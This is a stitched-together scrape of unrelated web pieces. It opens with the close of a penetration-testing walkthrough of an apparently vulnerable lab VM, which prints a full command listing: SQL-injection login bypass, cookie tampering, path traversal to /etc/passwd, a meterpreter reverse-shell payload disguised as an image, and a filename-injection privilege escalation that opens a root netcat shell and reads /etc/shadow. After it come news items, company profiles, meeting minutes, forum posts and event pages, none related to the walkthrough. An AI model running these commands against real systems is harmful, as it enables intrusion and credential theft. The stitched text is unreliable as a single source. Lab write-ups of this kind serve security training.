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Back on the internal message board, the attacker discovers there is "changetrack" installed, configured to back up a certain folder and is scheduled to run every five minutes. This services is usually executed with the highest level of privileges, otherwise it wouldn't be able to back up everything possible. The attacker checks that the user he is using, alamo, has access to the folder which is being monitored; turns out only two users are (one of which is alamo!).
The attacker then checks a local copy of a public exploit database, exploitdb, to see if there are any known exploits for this service. There was only one result, which reveals that the service doesn't escape certain filenames, therefore filenames which have been crafted can cause the service to execute shell commands. The attacker notes the example filename, which is given, however instead of doing a "bind" connection, they choose to reserve it instead. Locally, the attacker sets up another listener, and remotely checks for, and, configures a program, netcat, which allows for the network connections to read and execute commands. The reason why the attacker flips the direction of netcat was to allow the target to establish, letting the attacker just wait, rather than for them to keep checking.
The attacker now waits for the changetrack service to be triggered, which shouldn't be long, as it was hinted in the message board; it backs up every five minutes...
...A little while later, the attacker notices that the remote system has executed their command and created a remote shell with the super user, root, account privileges.
Game over
Code:nmap 192.168.0.0/24 -sn -n us -H -msf -Iv 192.168.0.11 -p 1-65535 && us -H -mU -Iv 192.168.0.11 -p 1-65535 nmap -p 1-65535 -T4 -A -v 192.168.0.11 firefox 192.168.0.11 & # Username: g0tmi1k Password: ' OR 1=1 # id: alamo Right click -> View Page Info -> Headers Firefox -> Directory curl -s 192.168.0.11 curl -s --cookie "uid=1" 192.168.0.11 curl -s --cookie "uid=1" http://192.168.0.11/?page=employeedir.php | sed -e "s/ / \n/g; s/example.net/example.net\n/g" | grep example.net | sed "firstname.lastname@example.com//" curl -s --cookie "uid=1" http://192.168.0.11/?page=employeedir.php | sed -e "s/ / \n/g; s/example.net/example.net\n/g" | grep example.net | sed "firstname.lastname@example.com//" > /tmp/users wc -l /tmp/users for x in $(seq 1 64); do y=$(curl -s --cookie "uid=$x" 192.168.0.11 | grep Welcome, | sed "s/[ \t]*//; s/Welcome, //" | cut -d "." -f1) if [ $y ] ; then echo $x=$y ; fi done Firefox -> Tools -> Tamper Data -> Start Tamper firefox http://192.168.0.11/?page=ssp.php # Display File Tamper -> text_file_name: ssp.php http://192.168.0.11//index.php?page=ssp.php&text_file_name=/etc/passwd cat /tmp/users| sed 's/^/~/' >> /tmp/users cd /pentest/web/dirbuster java -jar DirBuster-0.12.jar -u http://192.168.0.11 # /tmp/users.txt msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.192 LPORT=443 -f raw > /tmp/evil.jpg Firefox -> Tools -> Tamper Data -> Start Tamper firefox # Upload (fails) Tamper -> Cookie: uid=2 # id: etenenbaum firefox # Upload again firefox http://192.168.0.11/~etenenbaum/ # evil.jpg firefox http://192.168.0.11/?page=ssp.php # Display File Tamper -> text_file_name: /home/etenenbaum/evil.jpg http://192.168.0.11//index.php?page=ssp.php&text_file_name=upload.php http://192.168.0.11//index.php?page=ssp.php&text_file_name=transfer.php cd /tmp mv evil.jpg evil.php chmod +x evil.php ls -l evil.php tar -cvzf evil.tar.gz evil.php ls -l evil* msfcli multi/handler PAYLOAD=php/meterpreter/reverse_tcp LHOST=192.168.0.192 LPORT=443 E firefox http://192.168.0.11/~etenenbaum/ sysinfo shell id pwd ls -lah cd /var/apache2 ls -lah cat config.inc python -c 'import pty; pty.spawn("/bin/sh")' mysql -u root -pmY5qLr007p@S5w0rD SHOW DATABASES; USE creds; SHOW TABLES; SELECT * FROM accounts; quit firefox http://192.168.0.11/index?page=messageboard.php # knockknock wget http://192.168.0.11/misc/knockknock-0.7.tar.gz tar zxvf knockknock-0.7.tar.gz cd knockknock-0.7 head -n 20 INSTALL python setup.py install cd /etc/knockknock.d/profiles/ ls -lAh cp -r alamo ~/knockknock exit exit exit exit wget -r -np --reject=index* 192.168.0.11/~alamo/knockknock/ mv 192.168.0.11/~alamo/knockknock ~/.knockknock/192.168.0.11 ls -lAh #cat config nmap -p 22 -T5 -v 192.168.0.11 #python /tmp/knockknock-0.7/knockknock.py -p 13820 192.168.0.11 python /tmp/knockknock-0.7/knockknock.py -p 22 192.168.0.11 && nmap -p 13820 -T5 -v 192.168.0.11 python /tmp/knockknock-0.7/knockknock.py -p 22 192.168.0.11 && ssh firstname.lastname@example.com # Ih@cK3dM1cR05oF7 id # sudo -l firefox http://192.168.0.11/index?page=messageboard.php # Changetrack cd /pentest/exploits/exploitdb grep -i changetrack files.csv cat platforms/linux/local/9709.txt ls -lah /home # development is set to nobody & developers cat /etc/group | grep developers # Alamo jljohansen cd /home/development ls -lAh whereis nc nc -lvp 443 touch "<\`nc 192.168.0.192 443 -e \$SHELL\`" ls watch -d -n 1 "netstat -ant" # wait 5 mins id && /sbin/ifconfig && uname -a && cat /etc/shadow && ls -lAh /root/
- When starting the VM for the first time with VMware, select "Moved It" - otherwise it could cause issues (e.g. The target will not be visible!).
- There is the possibly of another method of gaining access, as well as different tools (e.g. burpsuite instead of using tamper data) or techniques (modify the SQL injection or permanently edit the cookie value) could be used to achieve the same effect.
- Some mistakes in the video are more obvious
- On reflection, a few commands should have been issues to verify the comments on the message box, such as: "ls /etc | grep -i changetrack", and "cat /etc/changetrack.conf".
Song: Hometown Glory (High Contrast Remix) - Adele & One Love- The Prodigy & Ill Behaviour - Danny Byrd
Video length: 12:55
Capture length: 55:21
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Weather causes a trifecta of trouble across lower and central North Island
Weather causes a trifecta of trouble across lower and central North Island
UPDATE - WHANGANUI RIVER ROAD The Whanganui River Road is open. There's still some material on the road from the slips and weather event, so please take care out there. At Jerusalem there is only a single lane. Thanks for your patience while we got the road open.
We will be selling tickets at War Memorial Centre by eftpos only. Can purchase with cash at Royal Wanganui Opera House.
Whanganui to Raetihi SH4 open The NZ Transport Agency is advising that State Highway 4 from Whanganui to Raetihi is now open. The route had been closed to clear a slip. The road has reopened with one section down to one lane near Kakatahi. There are traffic signals are in place for this area. Keep in touch with what's happening on state highways via NZ Transport Agency's Traffic map. http://www.journeys.nzta.govt.nz/traffic/
Kowhai Park is now open but the road along the park by the river will continue to be closed until at least tomorrow due to some water over the road. We will keep you posted.
The rain we've had near the headwaters of the Whanganui River over the weekend has made the awa fuller than usual, but the water level begun dropping overnight and will continue to do so following high tide this morning. As a precaution, the Kowhai Park gates will be shut until around 10.00am today as the water is lapping onto the road. Whanganui District Council and Horizons teams as well the rural fire people from Fire and Emergency New Zealand kept an eye on the situation overnight.
NZTA update: State Highway 4 from Kakatahi to Raetihi continues to be closed due to a slip. The Whanganui River Road from Ranana to Jerusalem is also closed and Fields Track is inaccessible due to slips. Please check the NZTA page for information on State Highways.

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Jennifer Lopez To Release Personal Memoir "True Love" This Fall
Jennifer Lopez is giving new meaning to the title of "multihyphenate."
The superstar performer and actress is now adding "author" to the list, by announcing the release of her first book called "True Love" hitting shelves later this year. The book appears to be a personal memoir, based on the description offered on publisher Penguin's website.
"True Love" is called "an honest and revealing personal diary" about J. Lo's "transformative two-year journey," and will include never-before-seen photographs as well. The book is due out on November 4th, and is available to pre-order in hard cover online at Amazon, Barnes & Nobel and Walmart.


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Oberoi Completes 2013 ADEA/AAL Institute for Teaching and Learning
Dr. Snehlata Oberoi, DDS, MDS, Associate Professor of Clinical Orofacial Sciences at the UCSF School of Dentistry, has completed the 2013 American Dental Education Association/AAL Institute for Teaching and Learning (ADEA/AAL ITL).
"The ADEA/AAL ITL has almost 400 alumni since its launch in 2006," says N. Karl Haden, Ph.D., President of AAL. "Evaluations from participants and ongoing educational research conducted by our instructors keep the curriculum current and ensure that the program prepares faculty with teaching skills necessary to understand and communicate with today's students."
The curriculum is designed to provide participants with hands-on experience of key teacher tasks, and help them attain a higher level of excellence in evidence-based clinical and didactic modalities of dental education. Some of the topics covered include: instructional design and course planning, teaching in the classroom and the clinic, writing assessments, learning styles and critical thinking, mentorship, contemporary dental education models and academic career planning.
"The ADEA/AAL ITL is dental education's premier program for faculty development in teaching and learning," says Richard W. Valachovic, DMD, MPH; ADEA President and CEO. "The continued growth and popularity of the program shows the commitment of academic dental institutions and their faculty to excellence in teaching and learning."
Dr. Oberoi provides teaching and supervision of Orthodontic and Pediatric dentistry residents and dental students on rotation in the Center for Craniofacial Anomalies, where she also provides assessment and treatment recommendations for children with craniofacial anomalies. In addition, she practices at the UCSF Orthodontic Clinic, where she treats these children.
Dr. Oberoi has published over 35 articles in peer-reviewed journals, as well as four book chapters. She also serves as a reviewer for the Cleft Palate-Craniofacial Journal, the International Journal of Paediatric Dentistry, The Angle Orthodontist and the American Journal of Orthodontics. Her research focuses on developing new methods to assess the outcomes of treatment for cleft lip, cleft palate and other craniofacial anomalies. She also collaborates with the Center's medical geneticists on research seeking to identify genetic mutations, and how they affect dental and facial defects, in various craniofacial anomalies.
Dr. Oberoi is a member of the American Cleft Palate-Craniofacial Association, the American Association of Orthodontists, the Pacific Coast Society of Orthodontists and the Indian Orthodontic Society. Dr. Oberoi is a 2013 American Association of Orthodontists ITL Scholar.
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MAKRO Cash & Carry ČR s.r.o. s r.o. - Basic Information
"MAKRO Cash & Carry" was established as a daughter company of "SHV METRO". The new company METRO AG overtook all wholesale activities of "SHV METRO" in Europe by January 1, 1998.
In the Czech Republic, there are twelve MAKRO Cash & Carry wholesale centers. The floor space of each store is approximately 15.000 m2 (sales space is 9.700 m2). Exceptions are Černý Most (8.500 m2), Plzeň (6.500 m2), Zlín and Liberec (6.000 m2).
These centers focus on wholesale of a wide range of food and non-food consumption goods to registered entrepreneurs, especially to vendors and to companies active in the field of gastronomy. They are attractive shopping sites for retailers as much as for wholesalers or other customers as e.g. public administration bodies, schools, hospitals or other institutions of the kind. Likewise, the packaging of food matches this need - more consumer-like packaging for retailers, and large packages for gastronomy are available.
We issue Customer Cards to entrepreneurs (natural and legal persons) on bases of a registration. These cards allow their holders to enter not only all wholesale centers of MAKRO Cash & Carry in the Czech Republic, but the whole METRO / MAKRO network in other countries as well. For each customer, maximum two Customer Cards can be issued. All cards will be registered on the name of the holder. It is up to holder's decision - that means the owner or the statutory deputy of the company or organization - to which two deputies will the cards be entitled. By proper controls of holder's identity at the entrance to stores, employees of MAKRO Cash & Carry ČR s.r.o. assure the non-transferability of cards.
High turnover of merchandise, operational performance, a limited number of stores, efficient logistics and direct purchase of goods in huge quantities make it possible for MAKRO Cash & Carry ČR s.r.o. company to sell its goods for the most convenient trade prices.
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Plzensky Prazdroj, a.s. is a leading Czech and European brewing company. It symbolises the best traditions of this important industrial sector, and was responsible for assisting its development through a truly revolutionary event. In 1842, the forerunners of today's Plzensky Prazdroj produced the first brew of bottom-fermented lager, which gave its name to the largest category of beers in the world. Pilsner Urquell is the epitome of the category "Czech beers of the Pilsen type", the largest and most wide-ranging category of beer in the Czech Republic.
The company takes this position extremely seriously. In its business and all other activities, Plzensky Prazdroj respects the principles of transparency, fair economic competition and social responsibility. These principles permeate all company documents, guidelines and internal procedures, and are in accordance with relevant Czech and EU legislation and internationally recognised principles for corporate governance.
Plzensky Prazdroj is part of the SABMiller global brewing group, and thus applies the strictest international standards valid for SABMiller anywhere in the world. Above all, they involve a the company's responsible approach as a producer of alcohol, relations to its surroundings, to the environment, to employees and to business partners.
A key element in Plzensky Prazdroj's business practices is its emphasis on quality in all areas of its operations. The company is certified by an international authority according to ISO 9002 and ISO 14001 standards, and conforms to the strictest EU norms ensuring that foodstuffs are without defects (HACCP) and preventing pollution of the environment (IPPC).
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Plzensky Prazdroj is the leading brewing company in Central Europe. It has the largest beer sales in the Czech Republic and is the largest exporter of beer to more than 50 countries all over the world.
Through its brands Pilsner Urquell, Gambrinus, Radegast a Velkopopovicky Kozel, Plzensky Prazdroj sells more beer on the Czech market than any other company.
Plzensky Prazdroj, a. s., is a member of the international group SABMiller plc, the second largest brewing company in the world. The group's flag ship for its international portfolio is the Pilsner Urquell brand.
About company
The company CIPA spol. s r.o. was founded in 1992 in cooperation with a group of Italian Members, in order to make foreign foods and gastronomic specialities available on the Czech market. We have successfully fulfilled the plan for several years, to this date providing our services to more than 4,000 satisfied customers.
The original seafood range has been extended by hundreds of new products. Up-to-date trends require us to offer a wide portfolio of potato products, frozen fruits and vegetables, sweets and desserts, several kinds of exotic meat and, above all, fresh ocean fish; all products we offer come from top-level world manufacturers.
Our products are predominantly imported from Italy, the Netherlands, Denmark, France, Spain and Germany.
We are exclusive distributors of the following companies in the Czech Republic:
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Executive Committee Meeting AGENDA
8:30 a.m., Ka Lama 102
Data Dialogue:
Followup on Mayor and
Council Chair Meetings: Tamanaha, Sakamo
Financial Aid Proposal:
4. NSF COSSE grant with Akimeka
5. Accreditation followup: reconcile plans in Self-Study with Strategic Plan 8 Yr Directions
6. NLN Accreditation Visit Feedback
8. Tech Fee Action Memo and Business Plan Status
9. Long Term Care Consortium
10. Phone System
11. Other Items
Executive Committee Meeting
, Ka Lama 102
Attendees: Lori Govaars, Dan Kruse, Cordy MacLaughlin,
Karen Muraoka,
Data Review:
Jeannie distributed and reviewed the following tables:
▪ Trend in Certificates and Degrees Awarded: Table shows an increase of 21.6 percent. The most appreciable growth is in Liberal Arts.
MCC His
UHCC His
▪ Trend in Number of Program Majors: Shows where growth has been over the last five year period.
▪ Trend in Class Size Average: Table shows variations in average class size over the past five fall semesters.
will be presented
Followup on Mayor and Council Chair
Meetings: Tamanaha, Sakamo
We will be submitting a
$750,000 proposal
Financial Aid Proposal: Kil
NSF COSEE grant with Akimeka
We will be applying for an
NSF grant with the Center for Ocean Science Education Excellence. Frannie Coopersmith is working on write-up
for MCC's piece of this grant. The grant
will initially be administered by Akimeka.
We are looking for someone
Accreditation Followup: Reconcile Plans in Self-Study with Strategic Plan 8 Yr. Directions
Pat Adams has identified all of the plans that are part of the self study and plans of the strategic plan that connect with the self study. Administratively we are looking at integrating the two. Pat will present a report at the next Executive Committee meeting.
reported that John Mor
NLN Accreditation Visit Feedback
Visit went very well. The nursing program will receive accreditation for the full eight years. There were very minor kinds of suggestions made.
was held on where nursing portables should be placed. Options discussed were the rear parking lot
(temporarily until we can grade another location), parking area next
Tech Fee Action Memo and Business Plan Status
Tech Fee Action Memo has been
Long Term Care Consortium
The Maui Long Term Care
Consortium is asking
Phone System
David has been referred
Other Items
Dan reported the following discussed at the All Campus Council and Community College Council meetings.
There is a system
Discussions on
Discussions on
textbook costs are also being held. UH
The Hamil
▪ Academic resolutions were sent out.
▪ Science building funds released.
▪ Grading discussions are being held on the following:
-The return of the N grade for developmental courses
-What does CR grade count as? In some places it counts as a D and at others a C.
-Plus/minus system.
David announced that a power
management software has been purchased.
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Maccabi Tel Aviv jumps out to first-leg lead
Salomon brit: 'We want to be remembered as a happy family'
Analysis: Bibi's big bungle
White House lauds Netanyahu's crisis response amid criticism from Israeli right
Shaked mulls bill to equalize child support payments
A welcome break from the heat
Ketta TropicAle
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Retirement may cost you more than you think
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Israeli cyber intelligence expert takes aim at transaction laundering
From 2023, local elections voting will be possible hospitals
Jerusalem parents keep up fight for pediatric cancer department
Experts oppose merging no-smoking signs with other warnings
Israel's own 'Mr. Arava'
Industrial waste water leaks from Israeli chemical plant
Watch: Hundreds of jellyfish threaten to clog up Israeli power plant
Cross-border water pollution threatens Israeli security, watchdog says
My Word: Security complexes and mounting tensions
It's true: These Christians are our friends
The demon's out of the bottle
Middle Israel - The metal detector: A biography
Iran claims successful rocket test
Hezbollah and rebels agree ceasefire at Lebanese-Syrian border
Pakistani council orders 'revenge rape' of 16-year-old girl
Saudi Arabia says king's contact with US helped ease Jerusalem tensions
Iranian deputy foreign minister: Iran will respond to any new US sanctions
US House passes bill to sanction Russia, Iran and North Korea
Iran's Rouhani says new US sanctions violate nuclear accord
British budget hotel chain to expand into Iran
Hitler exhibition in Berlin bunker asks: How could it happen?
Editor's notes: 'Israel-Diaspora trust is lost'
Weisenthal Center demands extradition of denaturalized ex-Nazi
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Israel's first mobility tech fund raises more than $40m.
Israeli pharma firm NeuroDerm sold for $1.1b to Mitsubishi
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Where is Trump on Temple Mount crisis?
A look at Press Secretary Spicer's most memorable Jewish moments as he resigns
White House spokesman Sean Spicer resigns
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Clinton concedes: 'We have still not shattered that highest and hardest glass ceiling'
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dutch kickboxing > muay thai
keep throwing shitty teep kicks and clinch knees
dutch kickboxing > muay thai
yeh fella i agree mate when i was trainin in thailand in bangcok with all the top champs out there i had to keep stoppin them in sparrin like hold on you cunt stop holdin your hands like some muggy drunk cunt tuck them to your chin the ones that didant listen to me got there heads smashad in throwin bombs to those cunts up aganst the ropes til they got browken ribs an jaws must have retired like 50 fighters out there but lernt cuple kicks from the trainers helped me abit when was fightin in k1 but could have won without it coz those muggy cunts aint got nothin on johny boys boxin
http://www.facebook.com/pages/Johny-Boy/215858055149963?ref=ts wbc world champ 19-0
Its not boxing. To use footwork to evade attack,to back off-basically to not stand toe to toe is frowned upon.Also strikes from a clinch position are revered. "dutch" style of kickboxing is much more suited to K1 rules and to heavier fighters,and works better for MMA (in my opinion), but it could be argued the trade off for clinch work as opposed to footwork.
Similar to saying "boxers cant kick for shit,all they do is throw a jab out and back peddle"-not my opinion but u get what i mean
It's a difference in rules for sure. Nak Muay can almost certainly box as well as Dutch style guys at the same weight.
The best moment of my life was being punched in the face by Liam Harrison.
There is a reason they don't box well... its the style and judges favouring Kick, Knees and Elbows but Ramon Dekker changed some of that.


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Plan your evening at Jungle Party with helpful information on directions, parking, animal tours, menu, and frequently asked questions.
If you have any questions about Jungle Party, please contact:
Katie KlumpJungle Party firstname.lastname@example.com
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From I-5, Southbound: Take the 50th Street exit from I-5 and turn right onto 50th Street. Continue West on 50th to Phinney Avenue. At Phinney, curve right and continue North to 59th Street. Turn Right on 59th Street and travel East to Evanston Avenue. Turn right into the zoo parking lot.
From I-5, Northbound: Take the 50th Street exit from I-5 and turn left onto 50th Street. Continue West on 50th to Phinney Avenue. At Phinney, curve right and continue North to 59th Street. Turn Right on 59th Street and travel East to Evanston Avenue. Turn right into the zoo parking lot.
From Aurora Avenue (Highway 99): Take the 46th Street exit (by the Bridge Motel) and turn left onto 46th Street. Continue until you reach Fremont Avenue North. Turn right on Fremont Avenue North and continue to 50th Street. Turn left on 50th and continue west to Phinney Avenue. At Phinney, curve right and continue North to 59th Street. Turn Right on 59th Street and travel East to Evanston Avenue. Turn right into the zoo parking lot.
Don't miss out on your choice of exclusive Jungle Party Animal Tours. Tours are open to all Jungle Party guests, depart continuously from 5:15 p.m. to 6:00 p.m., amd feature the following animals:
Come visit the Tropical Asia biome and see our elephants Watoto, Bamboo and Chai working with their keepers in their Thai themed barn or roaming the Elephant Forest where they spend their time exploring, dusting, grazing and even swimming!
Did you know that adult male gorillas eat about 30 pounds of food per day?! You'll learn many more interesting facts and what Woodland Park Zoo is doing to help save these great apes from extinction when you visit youngster Uzumma and the rest of our western lowland gorillas.
Don't miss out on this opportunity to meet a pair of the zoo's newest animals, our Asian small-clawed otter duo! Learn more about these playful otters from a knowledgeable keeper and watch as they glide and scurry through their brand-new exhibit.
Come see our sloth bears including twin cubs born last December! In the wild, these large and shaggy bears roam the forests of India looking for insects, fruit and honey. Learn more about them on this fun tour and find out about the zoo's plans to build them a new home.
Get up close and personal with the penguins at their award-winning exhibit. Visit multiple underwater viewing areas and enjoy a private keeper talk to hear about the lives of these unique South American birds. Also learn about what's being done by Woodland Park Zoo and others to protect this endangered species.
Enjoy delicious appetizers and sweet treats from our incredibly generous Jungle Party Specialty Chefs:
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What should I wear to Jungle Party?This is not a black tie event! The dress is casual, so you can enjoy Seattle's warm, summer sun! Guests are encouraged to dress in the spirit of each year's Jungle Party theme. Be sure to wear comfortable shoes, too, as the party is mainly held on our grassy meadow and you will be walking zoo grounds.
Should I make reservations?Yes, reservations are required for Jungle Party, as it often sells out prior to the night of the event. Buy tickets online or make reservations by contacting Katie Klump, Jungle Party Auction Manager, at 206.548.2421.
Can I bring my child?We ask that our guests not bring anyone under the age of 21 to Jungle Party. We strongly feel Jungle Party is not appropriate for children.
How can I reserve transportation during the event for a special needs guest?We have transportation such as wheelchairs, electric carts, and security escort available for any guest that needs special attention. Please contact Katie Klump, Jungle Party Auction Manager, at 206.548.2421 to reserve specific transportation in advance.
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In the spirit of the season, throughout the month of December we will be showing you how Sharpie makes its mark on holiday gift-giving, decorating, organizing and more! Through all sorts of how-to videos and pictorals, we will take you through the step-by-step DIY process and show you the tools you'll need to add a personal touch to the holidays!
Below you will find a list of 25 ways to utilize Sharpie markers to put a creative twist on all of your gift giving, decorating and organizational needs. Come back and visit to see the how-to videos and pictorals all month long! Happy Holidays!
1 Think Beyond a White (as well as Red and Green) Christmas – Holiday décors are getting a colorful makeover this December. Mix it up this year with unique Sharpie marker color combos. Re-vamp ornaments, paper goods, tree trim and more using Sharpie markers in Magenta and Lime, Turquoise and Red, Berry and Pomegranate. Kick it up a notch with color and let Sharpie transform white to bright.
2 Tacky Times Two – Throw a tacky-themed holiday party, encouraging guests to come up with their most ridiculous holiday outfits. Customize holiday sweaters, suspenders, ties, socks and more with Sharpie markers and create a look distinctly your own. Get twice the tacky with Sharpie Twin Tip markers offering both fine and ultra-fine tips in one marker.
3 Green-A-Ling– Create your very own flower pot bell ornament for the tree using Sharpie paint markers. Color small terra-cotta flowerpots (available at your local craft store) and let dry. Personalize the pots with stars, bows, berries and other fun holiday designs. Thread ribbon (or wire) through the drainage hole to make a loop for hanging. Loop another ribbon inside the pot and attach a bell.
4 My Tube – Choose from among Sharpie's 34 bold colors to decorate a roll of solid-colored wrapping paper (tissue, crepe, foil, vellum, craft paper – gift bags too). Use a stencil or cookie cutter and trace a hand, shoe, leaf, key or other object to create a personalized motif. Tip: Use the wrapping paper tube as a gift box to hold kids' artwork; wrap the tube using your new Sharpie "signature" gift wrap and ship to Grandma.
5 Sharp Cookie – Give the gift that won't get lost – Sharpie personalized markers imprinted with the name and icon of your choice on the marker barrel. Smart shoppers give personalized Sharpie markers to friends, family, teachers, postmen, milkmen, hairdressers, receptionists, babysitters, pet walkers, Girl Scout troops, Bunko groups, golf buddies, favorite baristas and more! For a stocking stuffer with a personal touch, go to www.mysharpie.com to order.
6 Sharp Bookie – Sharpie-created bookmarks are a good bet for gift-giving. Make your mark by doodling the usual suspects – dogs, stars, hearts, swirls – or exercise your inner artist and take a stab at recreating art from one of the masters (go online to download inspirations). Tip: Use the Sharpie marker itself as the bookmark. Just clip to the page!
7 Keeper Cards – Design your own "keeper card." Use Sharpie markers to create personalized greeting cards, the kind that won't wind up in the waste basket. Kids can create personalized cards for classmates. Kids tip: Whip up a mod mosaic in minutes by holding a bundle of Sharpie markers in your hand and drawing circles on circles.
8 Card Jar – Keep track of cards in a holiday-themed box or jar decorated with Sharpie markers. Use a glass or acrylic box/jar and decorate with these holiday-inspired themes in mind: candy canes, twinkly lights, mistletoe, silver bells. *Make smaller containers for gift receipts and recipes.
9 Tree Hugger – Write your child's name in Sharpie marker on a small silver or gold bell. Help them find a spot on the tree and let them give the bell a ring each night before bedtime to make a holiday wish. This will become a favorite holiday tradition.
10 Table That– The Stay-cation travel trend is continuing into the holidays. Use time at home around the table to create one-of-a-kind holiday gifts with Sharpie markers. (2011 UPDATE: Check out Stained by Sharpie fabric markers to make your mark in your festive fanfare) Embellish socks, t-shirts, sneakers, headbands, belts, backpacks, aprons, picture frames and more. Kids can make special keepsakes for mom; teens can get creative and add their favorite expressions. Mom tip: Create a family of matching tees or sweatshirts – one for everyone in the brood.
11 A+ in Gift Giving– Send your kids to school with a present teachers can really use – school supplies! Place an assortment of Sharpie markers in a large soup can covered in plain white paper and decorated with Sharpie markers. Wrap it up, top with a festive bow and take your seat at the head of the class.
12 Santa's Sharpie– Make a list and check it twice with the Sharpie Pen. The newest addition to the Sharpie family, the Sharpie Pen doesn't bleed through paper and is perfect for all your holiday writing needs – and it's now available in a retractable version! Use it for list-making, note-cards, gift tags, journal writing, work and school – and don't forget that important letter to Santa! Make your mark with the Sharpie Pen in black, blue, orange, red, green, or purple (2011 UPDATE: NOW available in Coral, Turquoise, Clover and Hot Pink!).
13 Stock Up – Instead of paying to have names embroidered on holiday stockings, this year buy some white felt and create your own colorful, unique version using Sharpie markers. Stock the stocking with Sharpie markers to make a permanent impression.
14 Draw The Line – Pick up a copy of your favorite holiday classic at a used book store and carefully remove a page. Sketch or trace an image right over the print to make a beautiful greeting card, wall decoration, or holiday embellishment. Laminate or frame your page to preserve for next year.
15 A Little Flakey – Create a cost-saving winter wonderland by making do-it-yourself snowflakes. Decorate paper with the colors of the season or stay monochromatic with Sharpie Metallic Permanent marker. Color then fold and cut into snowflake shapes.
16 Made Not Manufactured – Show family and friends how thankful you are for their gifts with homemade, colorful thank-you cards. Design one card with Sharpie markers and make copies to save money on store-bought versions.
17 Tag You're It – Let loved ones see how truly personal the gift they are receiving is with a one-of-a- kind gift tag. Liven up your present by adding your own unique way of stating "To" and "From" on a square of card stock. Tie a Sharpie MINI marker to your tag for the gift tag that keeps on giving.
18 Take A Shine– What better way to top off the perfect holiday gift than with a Stainless Steel Sharpie Permanent Marker. Add a little extra sophistication and shine to your gift by attaching the Stainless Steel Sharpie with its refillable cartridge and etched logo on the barrel to the top of the package — the perfect complement to your Sharpie Metallic Permanent marker custom-designed gift wrap.
19 Ring in the Bling – Use a Sharpie Metallic silver marker to ring in the New Year. Add some bling by creating a silver celebration of party ware – decorate glassware, placemats, votive holders, candlesticks, party hats, favors and more. Tip: Use a paper tablecloth and give guests a pack of Sharpie markers as table favors so they can write their resolutions as they count down the New Year.
20 Wax Poetic – Thinking about throwing out those old candle sticks? Why not bring new life to them with Sharpie markers. Use a Sharpie marker and cover them with script writing of your favorite poetic verses. Combine with Sharpie Metallic silver accents and display year-round.
21 Holiday Calendar Countdown – With a ruler, cardstock and Sharpie markers, draw out a calendar. Find small holiday ornaments and trinkets around the house (buttons, pins, last year's holiday card cut-outs – any small embellishment) and stick magnets onto the back of each. Hang your calendar on refrigerator and use your magnetic ornaments to count down the days of your holiday season!
22 Pen The Perfect Present – Assemble a gift box full of Sharpie Pens (in all six colors – black, blue, red, green, orange, purple). Top the gift off with several sheets of pretty stationery, perfect for the art enthusiast with a penchant for the age-old art of letter writing.
23 You've Been Framed – Bring life to a plain white picture frame by doodling inspiring words around the edges in black Sharpie marker. Insert a black-and-white photo for an elegant holiday gift. Attach a matching hand-made gift tag with a thoughtful message. Write your note in red with a Sharpie marker to give the gift a little pop!
24 For Keep Sake! – Start a holiday memories book. As the holidays wind down, pass around a book of blank pages and have your family take turns writing a special holiday message. What was your favorite moment or memory? Best present? What are you thankful for? Build a collection of wonderful memories and create a keepsake that can be shared for generations to come.
25 Ahead of the Pack – Once the holidays are over, it is important to organize all of your decorations, ornaments, lights, etc. so things don't get lost or forgotten. Label boxes with Sharpie markers and store them away neatly. Pack smart with Sharpie and spend time with family and friends instead!


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As many of you know, I am on the Mike Williams bandwagon, but let's assume he is gone before we go at 9 and we aren't willing move up to get him. Also, let's pray that Cerrato isn't the dumbest man alive, and we are actually very seriously considering moving the 9.
Now let's think over either of these CB trades. I would prefer Clements by far, but in my head we will make the same trade for both of them. Imagine this scenario: Derrick Johnson is still available at number 9. I feel like Carolina, KC, and New Orleans will all be interested in moving up to get him. The first of those three teams to come through with a 2nd rounder to move up will get the pick. For the sake of this argument, let's assume its New Orleans. Carolina would be hesitant to send a 2nd rounder for a move of only 5 spots, and KC will probably involve their 2nd rounder in a trade for Surtain. So we get our 2nd rounder back, and are picking at 16. Then we get in touch with the Raiders/Bills and offer THAT pick for Buchanon/Clements and their 2nd. The Bills trade would be especially good if they consummate that Travis Henry trade and switch 2nd rounders with Arizona.
Let's say the dream scenario with Buffalo comes through. We then have Nate Clements and pick #40 and pick #44. With those two picks, we are looking at a good WR and a pretty solid DE. As a matter of fact, it could be Matt Jones and Justin Tuck, which I know would make most people here happy. Or if we traded with the Raiders, we would have Buchanon, #38, and #40.
I think I could deal with the idea of leaving the first day of the draft with Clements, Tuck, Jones, and a 3rd round pick, plus probably a pick for Gardner.
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e- that would be great turn of events if that is what happened. We really dont have the cap to sign to high a propsect and trading down into the late thirties/early forties is ideal for what we can pick up there.
I love the idea of grabbing Matt Jones. Add to that Adrian McPhereson with one of our third rounders (assuming he's there and that is what we get for Gardner) spend the other 3rd rounder on d-line depth.
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that idea would be crap, why trade our first round pick if we can just get rolle, pac-man, or williamson with alot more upside, also matt jones will not be available after the first round let alone 41.
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We could trade the number nine for a proven cornerback (Clements or Buchanon). That's the whole point. There's no telling that Rolle or Pac-Man will be star cornerbacks. This is more of a non-risk move. I'd prefer Clements, but ya know the Redskins and their infatuation with ex-Hurricanes. If they could get a second rounder, as well... as E stated, that'd be great. They could get a wide receiver (Larry Brackins? Vincent Jackson?) and a decent DE. If the Redskins get McPherson in the third round, it could possibly be one of the best moves they've made in a long time.
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i would acutally want that 2 happen and i would love to get adrian i think he will be a stud and it was just a mistake he made before and everyone has made 1
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The explosion of mobile data traffic is creating a financial burden for mobile operators as network costs outpace the growth in revenue. To maximize the return on your network investments, you will need to charge subscribers based on the content of specific services or other unique usage characteristics.
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• HTTP Header Enrichment gives the ability to append subscriber information to HTTP header to be used by end application, such as mobile advertising insertion (MSISDN, IMSI, IP address, user-customizable)
• Credit control/quota reservation is provided for prepaid services
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As for compatibility It might or might not work.
There probably isn't an easy answer for this that one should use when determining what sort of laptop to purchase.
As you have stated you want to learn *nix first, so once you are at some sort of advanced user level then you should be able to make most things work for yourself. Or at least be able to understand how to make it work if someone gave you instructions or whatever. If you had to compile programs or tweak drivers etc. Then this would be no problem.
Also there is the BT Working Hardware section of the forums you could look through to see if the laptop you want to buy has been reported as working or not.
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On Dec. 7, 1941, Japanese warplanes bombed the U.S. naval base at Pearl Harbor on Oahu in the Hawaiian Islands, effectively bringing the United States into the Second World War. The following are excerpts from stories submitted to the Ohio Department of Aging and the Ohio Department of Veterans Services' War Era Story Project. Read full stories on the Department of Aging's website.
